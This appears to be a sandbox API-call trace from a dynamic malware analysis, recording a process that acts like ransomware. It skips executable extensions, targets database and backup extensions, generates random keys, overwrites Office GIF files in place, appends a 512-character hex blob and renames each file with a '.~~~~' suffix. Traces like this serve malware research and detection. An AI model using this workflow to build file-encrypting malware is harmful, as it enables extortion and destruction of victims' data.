	[0142.851] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR30F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir30f.gif.~~~~")) returned 1
	[0142.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa710 | out: hHeap=0x300000) returned 1
	[0142.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0142.854] GetLastError () returned 0x0
	[0142.854] RtlWakeConditionVariable () returned 0x0
	[0142.854] GetCurrentThreadId () returned 0x9f4
	[0142.854] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".scr") returned 0x0
	[0142.855] lstrlenW (lpString=".cmd") returned 4
	[0142.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".cmd") returned 0x0
	[0142.855] lstrlenW (lpString=".dll") returned 4
	[0142.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".dll") returned 0x0
	[0142.855] lstrlenW (lpString=".bat") returned 4
	[0142.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".bat") returned 0x0
	[0142.855] lstrlenW (lpString=".cpl") returned 4
	[0142.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".cpl") returned 0x0
	[0142.855] lstrlenW (lpString=".sys") returned 4
	[0142.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".sys") returned 0x0
	[0142.855] lstrlenW (lpString=".msc") returned 4
	[0142.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".msc") returned 0x0
	[0142.855] lstrlenW (lpString=".com") returned 4
	[0142.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".com") returned 0x0
	[0142.855] lstrlenW (lpString=".lnk") returned 4
	[0142.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".lnk") returned 0x0
	[0142.855] lstrlenW (lpString=".msp") returned 4
	[0142.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".msp") returned 0x0
	[0142.855] lstrlenW (lpString=".pif") returned 4
	[0142.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".pif") returned 0x0
	[0142.855] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.855] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.859] lstrlenW (lpString=".sqb") returned 4
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".sqb") returned 0x0
	[0142.859] lstrlenW (lpString=".ost") returned 4
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".ost") returned 0x0
	[0142.859] lstrlenW (lpString=".txt") returned 4
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".txt") returned 0x0
	[0142.859] lstrlenW (lpString=".mdt") returned 4
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".mdt") returned 0x0
	[0142.859] lstrlenW (lpString=".BDB") returned 4
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".BDB") returned 0x0
	[0142.859] lstrlenW (lpString=".eql") returned 4
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".eql") returned 0x0
	[0142.859] lstrlenW (lpString=".DBF") returned 4
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".DBF") returned 0x0
	[0142.859] lstrlenW (lpString=".EQL") returned 4
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".EQL") returned 0x0
	[0142.859] lstrlenW (lpString=".FDB") returned 4
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".FDB") returned 0x0
	[0142.859] lstrlenW (lpString=".EDB") returned 4
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".EDB") returned 0x0
	[0142.859] lstrlenW (lpString=".DACPAC") returned 7
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.859] lstrlenW (lpString=".VHD") returned 4
	[0142.859] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".VHD") returned 0x0
	[0142.860] lstrlenW (lpString=".DBV") returned 4
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".DBV") returned 0x0
	[0142.860] lstrlenW (lpString=".dacpac") returned 7
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.860] lstrlenW (lpString=".sdf") returned 4
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".sdf") returned 0x0
	[0142.860] lstrlenW (lpString=".accdb") returned 6
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".accdb") returned 0x0
	[0142.860] lstrlenW (lpString=".DBX") returned 4
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".DBX") returned 0x0
	[0142.860] lstrlenW (lpString=".MDT") returned 4
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".MDT") returned 0x0
	[0142.860] lstrlenW (lpString=".SQB") returned 4
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".SQB") returned 0x0
	[0142.860] lstrlenW (lpString=".vhd") returned 4
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".vhd") returned 0x0
	[0142.860] lstrlenW (lpString=".bac") returned 4
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".bac") returned 0x0
	[0142.860] lstrlenW (lpString=".mdf") returned 4
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".mdf") returned 0x0
	[0142.860] lstrlenW (lpString=".BAK") returned 4
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".BAK") returned 0x0
	[0142.860] lstrlenW (lpString=".BAC") returned 4
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".BAC") returned 0x0
	[0142.860] lstrlenW (lpString=".dbs") returned 4
	[0142.860] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".dbs") returned 0x0
	[0142.860] lstrlenW (lpString=".vhdx") returned 5
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.861] lstrlenW (lpString=".NDF") returned 4
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".NDF") returned 0x0
	[0142.861] lstrlenW (lpString=".dat") returned 4
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".dat") returned 0x0
	[0142.861] lstrlenW (lpString=".DBS") returned 4
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".DBS") returned 0x0
	[0142.861] lstrlenW (lpString=".CKP") returned 4
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".CKP") returned 0x0
	[0142.861] lstrlenW (lpString=".edb") returned 4
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".edb") returned 0x0
	[0142.861] lstrlenW (lpString=".PST") returned 4
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".PST") returned 0x0
	[0142.861] lstrlenW (lpString=".dbf") returned 4
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".dbf") returned 0x0
	[0142.861] lstrlenW (lpString=".SQL") returned 4
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".SQL") returned 0x0
	[0142.861] lstrlenW (lpString=".pst") returned 4
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".pst") returned 0x0
	[0142.861] lstrlenW (lpString=".dbv") returned 4
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".dbv") returned 0x0
	[0142.861] lstrlenW (lpString=".SDF") returned 4
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".SDF") returned 0x0
	[0142.861] lstrlenW (lpString=".dtxs") returned 5
	[0142.861] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.861] lstrlenW (lpString=".db3") returned 4
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".db3") returned 0x0
	[0142.862] lstrlenW (lpString=".OST") returned 4
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".OST") returned 0x0
	[0142.862] lstrlenW (lpString=".dbx") returned 4
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".dbx") returned 0x0
	[0142.862] lstrlenW (lpString=".DB3") returned 4
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".DB3") returned 0x0
	[0142.862] lstrlenW (lpString=".DAT") returned 4
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".DAT") returned 0x0
	[0142.862] lstrlenW (lpString=".VHDX") returned 5
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.862] lstrlenW (lpString=".ndf") returned 4
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".ndf") returned 0x0
	[0142.862] lstrlenW (lpString=".DB") returned 3
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".DB") returned 0x0
	[0142.862] lstrlenW (lpString=".sql") returned 4
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".sql") returned 0x0
	[0142.862] lstrlenW (lpString=".MYD") returned 4
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".MYD") returned 0x0
	[0142.862] lstrlenW (lpString=".DBT") returned 4
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".DBT") returned 0x0
	[0142.862] lstrlenW (lpString=".ACCDB") returned 6
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.862] lstrlenW (lpString=".fdb") returned 4
	[0142.862] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".fdb") returned 0x0
	[0142.862] lstrlenW (lpString=".bak") returned 4
	[0142.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".bak") returned 0x0
	[0142.863] lstrlenW (lpString=".myd") returned 4
	[0142.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".myd") returned 0x0
	[0142.863] lstrlenW (lpString=".DTXS") returned 5
	[0142.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.863] lstrlenW (lpString=".ckp") returned 4
	[0142.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".ckp") returned 0x0
	[0142.863] lstrlenW (lpString=".dbt") returned 4
	[0142.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".dbt") returned 0x0
	[0142.863] lstrlenW (lpString=".db") returned 3
	[0142.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".db") returned 0x0
	[0142.863] lstrlenW (lpString=".TXT") returned 4
	[0142.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".TXT") returned 0x0
	[0142.863] lstrlenW (lpString=".MDF") returned 4
	[0142.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".MDF") returned 0x0
	[0142.863] lstrlenW (lpString=".bdb") returned 4
	[0142.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".bdb") returned 0x0
	[0142.863] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.863] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0142.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.864] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0142.865] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.865] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.865] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0142.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0142.865] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26285522928) returned 1
	[0142.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe8f4b30, dwHighDateTime=0x1d60e1e)) 
	[0142.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0142.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0142.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0142.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe478
	[0142.865] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe478 | out: hHeap=0x300000) returned 1
	[0142.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aa3c8
	[0142.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0142.866] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa3c8 | out: hHeap=0x300000) returned 1
	[0142.866] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0142.866] GetLastError () returned 0x0
	[0142.867] GetLastError () returned 0x0
	[0142.867] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0142.867] GetLastError () returned 0x0
	[0142.867] GetLastError () returned 0x0
	[0142.867] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0xd1ac, lpOverlapped=0x0) returned 1
	[0142.870] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff2e54, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.870] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd1ac, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0xd1ac, lpOverlapped=0x0) returned 1
	[0142.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0142.871] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.871] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.871] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.871] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.871] CloseHandle (hObject=0x138) returned 1
	[0142.871] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aa3c8
	[0142.872] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR37F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir37f.gif.~~~~")) returned 1
	[0142.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aa3c8 | out: hHeap=0x300000) returned 1
	[0142.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0142.874] GetLastError () returned 0x0
	[0142.875] RtlWakeConditionVariable () returned 0x0
	[0142.875] GetCurrentThreadId () returned 0x9f4
	[0142.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".scr") returned 0x0
	[0142.875] lstrlenW (lpString=".cmd") returned 4
	[0142.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".cmd") returned 0x0
	[0142.875] lstrlenW (lpString=".dll") returned 4
	[0142.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".dll") returned 0x0
	[0142.875] lstrlenW (lpString=".bat") returned 4
	[0142.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".bat") returned 0x0
	[0142.875] lstrlenW (lpString=".cpl") returned 4
	[0142.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".cpl") returned 0x0
	[0142.875] lstrlenW (lpString=".sys") returned 4
	[0142.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".sys") returned 0x0
	[0142.875] lstrlenW (lpString=".msc") returned 4
	[0142.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".msc") returned 0x0
	[0142.875] lstrlenW (lpString=".com") returned 4
	[0142.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".com") returned 0x0
	[0142.875] lstrlenW (lpString=".lnk") returned 4
	[0142.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".lnk") returned 0x0
	[0142.875] lstrlenW (lpString=".msp") returned 4
	[0142.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".msp") returned 0x0
	[0142.876] lstrlenW (lpString=".pif") returned 4
	[0142.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".pif") returned 0x0
	[0142.876] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir38f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0142.878] lstrlenW (lpString=".sqb") returned 4
	[0142.878] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR38F.GIF", lpSrch=".sqb") returned 0x0
	[0142.878] lstrlenW (lpString=".ost") returned 4
